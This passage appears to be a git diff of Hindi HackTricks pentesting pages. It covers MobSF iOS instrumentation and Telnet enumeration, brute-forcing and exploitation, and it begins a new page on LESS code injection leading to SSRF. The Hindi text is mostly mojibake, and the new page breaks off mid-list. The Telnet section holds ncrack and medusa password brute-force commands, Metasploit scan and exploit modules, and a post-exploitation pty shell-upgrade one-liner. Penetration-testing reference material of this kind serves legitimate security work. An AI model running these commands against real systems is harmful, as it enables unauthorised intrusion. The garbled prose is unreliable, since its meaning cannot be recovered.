рдЬреЗрд▓рдмреНрд░реЗрдХ рдирд╣реАрдВ) -[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдПрдХ рдбреЗрд╡рд▓рдкрд░-рд╕рд╛рдЗрди рдХреА рдЧрдИ IPA рдХреЛ рдЙрд╕реА рддрдХрдиреАрдХ (`get_task_allow`) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдПрдХ рд╡реЗрдм UI рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдмреНрд░рд╛рдЙрдЬрд╝рд░, рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреИрдкреНрдЪрд░ рдФрд░ Frida рдХрдВрд╕реЛрд▓ рд╢рд╛рдорд┐рд▓ рд╣реИрдВуАРтАаL2-L3уАСред рд╕рдмрд╕реЗ рддреЗрдЬрд╝ рддрд░реАрдХрд╛ рдпрд╣ рд╣реИ рдХрд┐ MobSF рдХреЛ Docker рдореЗрдВ рдЪрд▓рд╛рдПрдВ рдФрд░ рдлрд┐рд░ рдЕрдкрдиреЗ iPhone рдХреЛ USB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ: +[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдПрдХ рдбреЗрд╡рд▓рдкрд░-рд╕рд╛рдЗрди рдХрд┐рдпрд╛ рд╣реБрдЖ IPA рдХреЛ рдЙрд╕реА рддрдХрдиреАрдХ (`get_task_allow`) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдмреНрд░рд╛рдЙрдЬрд╝рд░, рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреИрдкреНрдЪрд░ рдФрд░ Frida рдХрдВрд╕реЛрд▓ рдХреЗ рд╕рд╛рде рдПрдХ рд╡реЗрдм UI рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИуАРуАСред рд╕рдмрд╕реЗ рддреЗрдЬрд╝ рддрд░реАрдХрд╛ рдпрд╣ рд╣реИ рдХрд┐ MobSF рдХреЛ Docker рдореЗрдВ рдЪрд▓рд╛рдПрдВ рдФрд░ рдлрд┐рд░ рдЕрдкрдиреЗ iPhone рдХреЛ USB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ: ```bash docker pull opensecurity/mobile-security-framework-mobsf:latest docker run -p 8000:8000 --privileged \ @@ -106,7 +106,7 @@ MobSF рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдмрд╛рдЗрдирд░реА рдХреЛ рддреИ ### iOS 17 & рд▓реЙрдХрдбрд╛рдЙрди рдореЛрдб рдЪреЗрддрд╛рд╡рдирд┐рдпрд╛рдБ * **рд▓реЙрдХрдбрд╛рдЙрди рдореЛрдб** (рд╕реЗрдЯрд┐рдВрдЧреНрд╕ тЖТ рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛) рдЕрд╕реНрд╡реАрдХреГрдд рдпрд╛ рдмрд╛рд╣рд░реА рд░реВрдк рд╕реЗ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдЧрддрд┐рд╢реАрд▓ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рдЧрддрд┐рд╢реАрд▓ рд▓рд┐рдВрдХ рдХреЛ рд░реЛрдХрддрд╛ рд╣реИред рдЙрди рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рддреЗ рд╕рдордп рдЬрд┐рдирдореЗрдВ рдпрд╣ рдореЛрдб рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдпрд╣ **рдЕрдХреНрд╖рдо** рд╣реИ, рдЕрдиреНрдпрдерд╛ рдЖрдкрдХреЗ Frida/objection рд╕рддреНрд░ рддреБрд░рдВрдд рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рдПрдВрдЧреЗред -* рдкреЙрдЗрдВрдЯрд░ рдСрдереЗрдВрдЯрд┐рдХреЗрд╢рди (PAC) A12+ рдЙрдкрдХрд░рдгреЛрдВ рдкрд░ рдкреНрд░рдгрд╛рд▓реА-рд╡реНрдпрд╛рдкреА рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред Frida тЙе16 рдкрд╛рд░рджрд░реНрд╢реА рд░реВрдк рд╕реЗ PAC рд╕реНрдЯреНрд░рд┐рдкрд┐рдВрдЧ рдХреЛ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИ тАФ рдмрд╕ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ *frida-server* рдФрд░ Python/CLI рдЯреВрд▓рдЪреЗрди рдирд╡реАрдирддрдо рд░рд╣реЗрдВ рдЬрдм рдПрдХ рдирдпрд╛ рдкреНрд░рдореБрдЦ iOS рд╕рдВрд╕реНрдХрд░рдг рдЬрд╛рд░реА рд╣реЛред +* рдкреЙрдЗрдВрдЯрд░ рдСрдереЗрдВрдЯрд┐рдХреЗрд╢рди (PAC) A12+ рдЙрдкрдХрд░рдгреЛрдВ рдкрд░ рдкреНрд░рдгрд╛рд▓реА-рд╡реНрдпрд╛рдкреА рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред Frida тЙе16 рдкрд╛рд░рджрд░реНрд╢реА рд░реВрдк рд╕реЗ PAC рд╕реНрдЯреНрд░рд┐рдкрд┐рдВрдЧ рдХреЛ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИ - рдмрд╕ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ *frida-server* рдФрд░ Python/CLI рдЯреВрд▓рдЪреЗрди рдирд╡реАрдирддрдо рд░рд╣реЗрдВ рдЬрдм рдПрдХ рдирдпрд╛ рдкреНрд░рдореБрдЦ iOS рд╕рдВрд╕реНрдХрд░рдг рдЬрд╛рд░реА рд╣реЛред ## рд╕рдВрджрд░реНрдн diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index 2f5367c94..4f1da0f86 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 ``` The script `telnet-ntlm-info.nse` NTLM рдЬрд╛рдирдХрд╛рд░реА (Windows рд╕рдВрд╕реНрдХрд░рдг) рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ред -[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) рд╕реЗ: TELNET рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди "**рд╡рд┐рдХрд▓реНрдк**" рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╕реНрд╡реАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ "**DO, DON'T, WILL, WON'T**" рд╕рдВрд░рдЪрдирд╛ рдХреЗ рд╕рд╛рде рддрд╛рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рд╕рд░реНрд╡рд░ рдПрдХ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ (рдпрд╛ рд╢рд╛рдпрдж рдмрд╕ рдЕрд▓рдЧ) рд╕реЗрдЯ рдХреЗ рд▓рд┐рдП рд╕рд╣рдордд рд╣реЛ рд╕рдХреЗрдВ рдЙрдирдХреЗ TELNET рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдкрд░рдВрдкрд░рд╛рдУрдВ рдХрд╛ред рдРрд╕реЗ рд╡рд┐рдХрд▓реНрдкреЛрдВ рдореЗрдВ рд╡рд░реНрдг рд╕реЗрдЯ, рдЗрдХреЛ рдореЛрдб рдЖрджрд┐ рдХреЛ рдмрджрд▓рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) рд╕реЗ: TELNET рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди "**рд╡рд┐рдХрд▓реНрдк**" рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╕реНрд╡реАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ "**DO, DON'T, WILL, WON'T**" рд╕рдВрд░рдЪрдирд╛ рдХреЗ рд╕рд╛рде рддрд╛рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рд╕рд░реНрд╡рд░ рдПрдХ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ (рдпрд╛ рд╢рд╛рдпрдж рдмрд╕ рдЕрд▓рдЧ) рд╕реЗрдЯ рдХреЗ рд▓рд┐рдП рд╕рд╣рдордд рд╣реЛ рд╕рдХреЗрдВред рдЙрдирдХреЗ TELNET рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдкрд░рдВрдкрд░рд╛рдПрдБред рдРрд╕реЗ рд╡рд┐рдХрд▓реНрдкреЛрдВ рдореЗрдВ рд╡рд░реНрдг рд╕реЗрдЯ, рдЗрдХреЛ рдореЛрдб рдЖрджрд┐ рдХреЛ рдмрджрд▓рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред **рдореБрдЭреЗ рдкрддрд╛ рд╣реИ рдХрд┐ рдЗрди рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рд▓реЗрдХрд┐рди рдореБрдЭреЗ рдирд╣реАрдВ рдкрддрд╛ рдХреИрд╕реЗ, рдЗрд╕рд▓рд┐рдП рдореБрдЭреЗ рдмрддрд╛рдПрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВред** @@ -69,11 +69,11 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS ``` ### Recent Vulnerabilities (2022-2025) -* **CVE-2024-45698 тАУ D-Link Wi-Fi 6 routers (DIR-X4860)**: рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд Telnet рд╕реЗрд╡рд╛ рдиреЗ рд╣рд╛рд░реНрдб-рдХреЛрдбреЗрдб рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдпрд╛ рдФрд░ рдЗрдирдкреБрдЯ рдХреЛ рд╕рд╛рдл рдХрд░рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓ рд░рд╣реА, рдЬрд┐рд╕рд╕реЗ рдкреЛрд░реНрдЯ 23 рдкрд░ рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП рдХрдорд╛рдВрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд░рд╣рд┐рдд рджреВрд░рд╕реНрде RCE рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓реАред рдлрд░реНрдорд╡реЗрдпрд░ тЙе 1.04B05 рдореЗрдВ рдареАрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ред +* **CVE-2024-45698 тАУ D-Link Wi-Fi 6 routers (DIR-X4860)**: рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд Telnet рд╕реЗрд╡рд╛ рдиреЗ рд╣рд╛рд░реНрдб-рдХреЛрдбреЗрдб рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдпрд╛ рдФрд░ рдЗрдирдкреБрдЯ рдХреЛ рд╕рд╛рдлрд╝ рдХрд░рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓ рд░рд╣реА, рдЬрд┐рд╕рд╕реЗ рдкреЛрд░реНрдЯ 23 рдкрд░ рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП рдХрдорд╛рдВрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд░рд╣рд┐рдд рджреВрд░рд╕реНрде RCE рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓реАред рдлрд░реНрдорд╡реЗрдпрд░ тЙе 1.04B05 рдореЗрдВ рдареАрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ред * **CVE-2023-40478 тАУ NETGEAR RAX30**: Telnet CLI `passwd` рдХрдорд╛рдВрдб рдореЗрдВ рд╕реНрдЯреИрдХ-рдЖрдзрд╛рд░рд┐рдд рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ рдПрдХ рдирд┐рдХрдЯрд╡рд░реНрддреА рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдФрд░ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред * **CVE-2022-39028 тАУ GNU inetutils telnetd**: рдПрдХ рджреЛ-рдмрд╛рдЗрдЯ рдЕрдиреБрдХреНрд░рдо (`0xff 0xf7` / `0xff 0xf8`) рдПрдХ NULL-рдкреЙрдЗрдВрдЯрд░ рдбреЗрд░рд┐рдлрд░реЗрдВрд╕ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИ рдЬреЛ `telnetd` рдХреЛ рдХреНрд░реИрд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдХрдИ рдХреНрд░реИрд╢ рдХреЗ рдмрд╛рдж рдПрдХ рд╕реНрдерд╛рдпреА DoS рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реЛрддрд╛ рд╣реИред -рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд╡рд░реНрдЧреАрдХрд░рдг рдХреЗ рджреМрд░рд╛рди рдЗрди CVEs рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦреЗрдВтАФрдпрджрд┐ рд▓рдХреНрд╖реНрдп рдПрдХ рдЕрди-рдкреИрдЪ рдХрд┐рдП рдЧрдП рдлрд░реНрдорд╡реЗрдпрд░ рдпрд╛ рд╡рд┐рд░рд╛рд╕рддреА inetutils Telnet рдбреЗрдореЙрди рдЪрд▓рд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреЛрдб-рдирд┐рд╖реНрдкрд╛рджрди рдпрд╛ рдПрдХ рд╡рд┐рдШрдЯрдирдХрд╛рд░реА DoS рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реАрдзрд╛ рд░рд╛рд╕реНрддрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд╡рд░реНрдЧреАрдХрд░рдг рдХреЗ рджреМрд░рд╛рди рдЗрди CVEs рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦреЗрдВтАФрдпрджрд┐ рд▓рдХреНрд╖реНрдп рдПрдХ рдЕрди-рдкреИрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдлрд░реНрдорд╡реЗрдпрд░ рдпрд╛ рдкреБрд░рд╛рдирд╛ inetutils Telnet рдбреЗрдореЙрди рдЪрд▓рд╛ рд░рд╣рд╛ рд╣реИ рддреЛ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреЛрдб-рдирд┐рд╖реНрдкрд╛рджрди рдпрд╛ рдПрдХ рд╡рд┐рдШрдЯрдирдХрд╛рд░реА DoS рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реАрдзрд╛ рд░рд╛рд╕реНрддрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред ### Sniffing Credentials & Man-in-the-Middle @@ -98,7 +98,7 @@ ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 # Medusa (parallel hosts) medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f ``` -рдЕрдзрд┐рдХрд╛рдВрд╢ IoT рдмреЛрдЯрдиреЗрдЯ (Mirai рд╡реЗрд░рд┐рдПрдВрдЯ) рдЕрднреА рднреА рдЫреЛрдЯреЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ-рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдбрд┐рдХреНрд╢рдирд░реА рдХреЗ рд╕рд╛рде рдкреЛрд░реНрдЯ 23 рдХреЛ рд╕реНрдХреИрди рдХрд░рддреЗ рд╣реИрдВтАФрдЗрд╕ рддрд░реНрдХ рдХреЛ рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд рдХрд░рдирд╛ рдХрдордЬреЛрд░ рдЙрдкрдХрд░рдгреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдЬрд▓реНрджреА рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рдЕрдзрд┐рдХрд╛рдВрд╢ IoT рдмреЛрдЯрдиреЗрдЯ (Mirai рд╡реЗрд░рд┐рдПрдВрдЯ) рдЕрднреА рднреА рдЫреЛрдЯреЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ-рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдбрд┐рдХреНрд╢рдирд░реА рдХреЗ рд╕рд╛рде рдкреЛрд░реНрдЯ 23 рдХреЛ рд╕реНрдХреИрди рдХрд░рддреЗ рд╣реИрдВтАФрдЗрд╕ рддрд░реНрдХ рдХреЛ рджреЛрд╣рд░рд╛рдиреЗ рд╕реЗ рдХрдордЬреЛрд░ рдЙрдкрдХрд░рдгреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдЬрд▓реНрджреА рд╣реЛ рд╕рдХрддреА рд╣реИред ### рд╢реЛрд╖рдг рдФрд░ рдкреЛрд╕реНрдЯ-рд╢реЛрд╖рдг @@ -107,7 +107,7 @@ Metasploit рдХреЗ рдкрд╛рд╕ рдХрдИ рдЙрдкрдпреЛрдЧреА рдореЙрдбреНрдпреВрд▓ рд╣ * `auxiliary/scanner/telnet/telnet_version` тАУ рдмреИрдирд░ рдФрд░ рд╡рд┐рдХрд▓реНрдк рдЧрдгрдирд╛ред * `auxiliary/scanner/telnet/brute_telnet` тАУ рдорд▓реНрдЯреАрдереНрд░реЗрдбреЗрдб рдмреНрд░реВрдЯрдлреЛрд░реНрд╕ред * `auxiliary/scanner/telnet/telnet_encrypt_overflow` тАУ рдХрдордЬреЛрд░ Solaris 9/10 Telnet (рд╡рд┐рдХрд▓реНрдк ENCRYPT рд╣реИрдВрдбрд▓рд┐рдВрдЧ) рдХреЗ рдЦрд┐рд▓рд╛рдл RCEред -* `exploit/linux/mips/netgear_telnetenable` тАУ рдХрдИ NETGEAR рд░рд╛рдЙрдЯрд░реНрд╕ рдкрд░ рдПрдХ рддреИрдпрд╛рд░ рдкреИрдХреЗрдЯ рдХреЗ рд╕рд╛рде рдЯреЗрд▓рдиреЗрдЯ рд╕реЗрд╡рд╛ рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИред +* `exploit/linux/mips/netgear_telnetenable` тАУ рдХрдИ NETGEAR рд░рд╛рдЙрдЯрд░реНрд╕ рдкрд░ рдПрдХ рдирд┐рд░реНрдорд┐рдд рдкреИрдХреЗрдЯ рдХреЗ рд╕рд╛рде рдЯреЗрд▓рдиреЗрдЯ рд╕реЗрд╡рд╛ рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИред рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ **TTYs рдЖрдорддреМрд░ рдкрд░ рдмреЗрд╡рдХреВрдл рд╣реЛрддреЗ рд╣реИрдВ**; `python -c 'import pty;pty.spawn("/bin/bash")'` рдХреЗ рд╕рд╛рде рдЕрдкрдЧреНрд░реЗрдб рдХрд░реЗрдВ рдпрд╛ [HackTricks TTY tricks](/generic-hacking/reverse-shells/full-ttys.md) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред @@ -115,7 +115,7 @@ Metasploit рдХреЗ рдкрд╛рд╕ рдХрдИ рдЙрдкрдпреЛрдЧреА рдореЙрдбреНрдпреВрд▓ рд╣ 1. SSH рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВ рдФрд░ рдЯреЗрд▓рдиреЗрдЯ рд╕реЗрд╡рд╛ рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдмрдВрдж рдХрд░реЗрдВред 2. рдпрджрд┐ рдЯреЗрд▓рдиреЗрдЯ рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рддреЛ рдЗрд╕реЗ рдХреЗрд╡рд▓ рдкреНрд░рдмрдВрдзрди VLANs рд╕реЗ рдмрд╛рдЗрдВрдб рдХрд░реЗрдВ, ACLs рдХреЛ рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдФрд░ рдбреЗрдорди рдХреЛ TCP wrappers (`/etc/hosts.allow`) рдХреЗ рд╕рд╛рде рд▓рдкреЗрдЯреЗрдВред -3. рдкрд░рд┐рд╡рд╣рди рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдкреБрд░рд╛рдиреЗ `telnetd` рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдиреЛрдВ рдХреЛ `ssl-telnet` рдпрд╛ `telnetd-ssl` рдХреЗ рд╕рд╛рде рдмрджрд▓реЗрдВ, рд▓реЗрдХрд┐рди **рдпрд╣ рдХреЗрд╡рд▓ рдбреЗрдЯрд╛-рдЗрди-рдЯреНрд░рд╛рдВрдЬрд┐рдЯ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИтАФрдкрд╛рд╕рд╡рд░реНрдб-рдЧреЗрд╕рд┐рдВрдЧ рддреБрдЪреНрдЫ рд░рд╣рддрд╛ рд╣реИ**ред +3. рдкрд░рд┐рд╡рд╣рди рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдкреБрд░рд╛рдиреЗ `telnetd` рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдиреЛрдВ рдХреЛ `ssl-telnet` рдпрд╛ `telnetd-ssl` рд╕реЗ рдмрджрд▓реЗрдВ, рд▓реЗрдХрд┐рди **рдпрд╣ рдХреЗрд╡рд▓ рдбреЗрдЯрд╛-рдЗрди-рдЯреНрд░рд╛рдВрдЬрд┐рдЯ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИтАФрдкрд╛рд╕рд╡рд░реНрдб-рдЧреЗрд╕рд┐рдВрдЧ рд╕рд░рд▓ рд░рд╣рддрд╛ рд╣реИ**ред 4. рдкреЛрд░реНрдЯ 23 рдкрд░ рдЖрдЙрдЯрдмрд╛рдЙрдВрдб рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░реЗрдВ; рд╕рдордЭреМрддреЗ рдЕрдХреНрд╕рд░ рдЯреЗрд▓рдиреЗрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╕рдЦреНрдд-HTTP рдИрдЧреНрд░реЗрд╕ рдлрд╝рд┐рд▓реНрдЯрд░ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред ## рд╕рдВрджрд░реНрдн @@ -123,4 +123,4 @@ Metasploit рдХреЗ рдкрд╛рд╕ рдХрдИ рдЙрдкрдпреЛрдЧреА рдореЙрдбреНрдпреВрд▓ рд╣ * D-Link Advisory тАУ CVE-2024-45698 Critical Telnet RCE. * NVD тАУ CVE-2022-39028 inetutils `telnetd` DoS. -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/less-code-injection-ssrf.md b/src/pentesting-web/less-code-injection-ssrf.md new file mode 100644 index 000000000..61e3a4a94 --- /dev/null +++ b/src/pentesting-web/less-code-injection-ssrf.md @@ -0,0 +1,75 @@ +# LESS рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдЬреЛ SSRF рдФрд░ рд▓реЛрдХрд▓ рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдиреЗ рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИ + +{{#include ../banners/hacktricks-training.md}} + +## рдЕрд╡рд▓реЛрдХрди + +LESS рдПрдХ рд▓реЛрдХрдкреНрд░рд┐рдп CSS рдкреНрд░реА-рдкреНрд░реЛрд╕реЗрд╕рд░ рд╣реИ рдЬреЛ рд╡реЗрд░рд┐рдПрдмрд▓, рдорд┐рдХреНрд╕рд┐рди, рдлрд╝рдВрдХреНрд╢рди рдФрд░ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА `@import` рдирд┐рд░реНрджреЗрд╢ рдХреЛ рдЬреЛрдбрд╝рддрд╛ рд╣реИред рд╕рдВрдХрд▓рди рдХреЗ рджреМрд░рд╛рди LESS рдЗрдВрдЬрди **`@import`** рдмрдпрд╛рдиреЛрдВ рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ **рдлреЗрдЪ** рдХрд░реЗрдЧрд╛ рдФрд░ `(inline)` рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рдЙрдирдХреЗ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкрд░рд┐рдгрд╛рдореА CSS рдореЗрдВ рдПрдореНрдмреЗрдб ("рдЗрдирд▓рд╛рдЗрди") рдХрд░реЗрдЧрд╛ред + +рдЬрдм рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдирд┐рдпрдВрддреНрд░рд┐рдд рдЗрдирдкреБрдЯ** рдХреЛ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдореЗрдВ рдЬреЛрдбрд╝рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдмрд╛рдж рдореЗрдВ LESS рдХрдВрдкрд╛рдЗрд▓рд░ рджреНрд╡рд╛рд░рд╛ рдкрд╛рд░реНрд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **рдордирдорд╛рдирд╛ LESS рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ** рдХрд░ рд╕рдХрддрд╛ рд╣реИред `@import (inline)` рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдорд▓рд╛рд╡рд░ рд╕рд░реНрд╡рд░ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: + +* `file://` рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ 